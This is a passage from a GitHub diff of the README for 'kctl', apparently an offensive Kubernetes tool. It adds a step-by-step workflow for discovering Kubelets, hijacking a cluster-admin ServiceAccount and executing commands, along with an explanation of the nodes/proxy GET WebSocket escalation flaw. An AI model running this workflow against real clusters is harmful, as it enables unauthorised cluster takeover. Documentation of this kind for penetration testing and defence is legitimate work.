You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
[+] Scan complete in 3.2s: 3 open ports, 2 Kubelet nodes
197
+
[*] Use 'set target <ip>' to select target
198
+
[*] Use 'show kubelets' to view cached results
199
+
```
200
+
183
201
### ServiceAccount Operations
184
202
185
203
```bash
@@ -250,15 +268,164 @@ pid2pod --pid 1234
250
268
pid2pod --all
251
269
```
252
270
271
+
### Typical Workflow
272
+
273
+
```bash
274
+
# 1. Scan network to discover Kubelet nodes
275
+
kctl [default]> discover 10.0.0.0/24
276
+
277
+
# 2. Select target
278
+
kctl [default]>set target 10.0.0.5
279
+
280
+
# 3. Scan SA permissions on all Pods
281
+
kctl [default]> sa scan
282
+
283
+
# 4. View high-privilege SAs
284
+
kctl [default]> sa list --admin
285
+
286
+
# 5. Switch to high-privilege SA
287
+
kctl [default]> sa use kube-system/cluster-admin
288
+
289
+
# 6. View new identity permissions
290
+
kctl [kube-system/cluster-admin ADMIN]> sa info
291
+
292
+
# 7. Execute commands with new identity
293
+
kctl [kube-system/cluster-admin ADMIN]>exec -it
294
+
```
295
+
253
296
## Attack Scenario
254
297
255
298
### nodes/proxy Privilege Escalation
256
299
257
-
The `nodes/proxy GET` permission is commonly granted to monitoring tools (Prometheus, Datadog, Grafana) but can be exploited for RCE.
300
+
#### Background
301
+
302
+
The `nodes/proxy GET` permission is commonly granted to monitoring tools (Prometheus, Datadog, Grafana) for collecting metrics.
258
303
259
304
Based on [Graham Helton's research](https://grahamhelton.com/blog/nodes-proxy-rce), due to Kubelet's authorization flaw with WebSocket connections, `nodes/proxy GET` can be used to execute commands in any Pod.
260
305
261
-
#### Attack Flow
306
+
#### Vulnerability Mechanism
307
+
308
+
1. WebSocket protocol requires HTTP GET for initial handshake
309
+
2. Kubelet performs authorization check based on initial HTTP method (GET)
310
+
3. After authorization passes, WebSocket connection can access `/exec` endpoint to execute commands
311
+
4. This bypasses the `nodes/proxy CREATE` permission that should be required
312
+
313
+
#### Privilege Escalation with kctl
314
+
315
+
##### Scenario Setup
316
+
317
+
Assume you have access to a Pod whose ServiceAccount has `nodes/proxy GET` permission:
318
+
319
+
```yaml
320
+
apiVersion: rbac.authorization.k8s.io/v1
321
+
kind: ClusterRole
322
+
metadata:
323
+
name: nodes-proxy-reader
324
+
rules:
325
+
- apiGroups: [""]
326
+
resources: ["nodes/proxy"]
327
+
verbs: ["get"]
328
+
```
329
+
330
+
##### Step 1: Enter Console and Check Permissions
331
+
332
+
```bash
333
+
# Copy kctl to target Pod
334
+
kubectl cp kctl-linux-amd64 attacker:/kctl
335
+
336
+
# Enter Pod
337
+
kubectl exec -it attacker -- /bin/sh
338
+
339
+
# Run kctl
340
+
/kctl console
341
+
```
342
+
343
+
```
344
+
[*] Auto-connecting to Kubelet 10.244.1.1:10250...
0 commit comments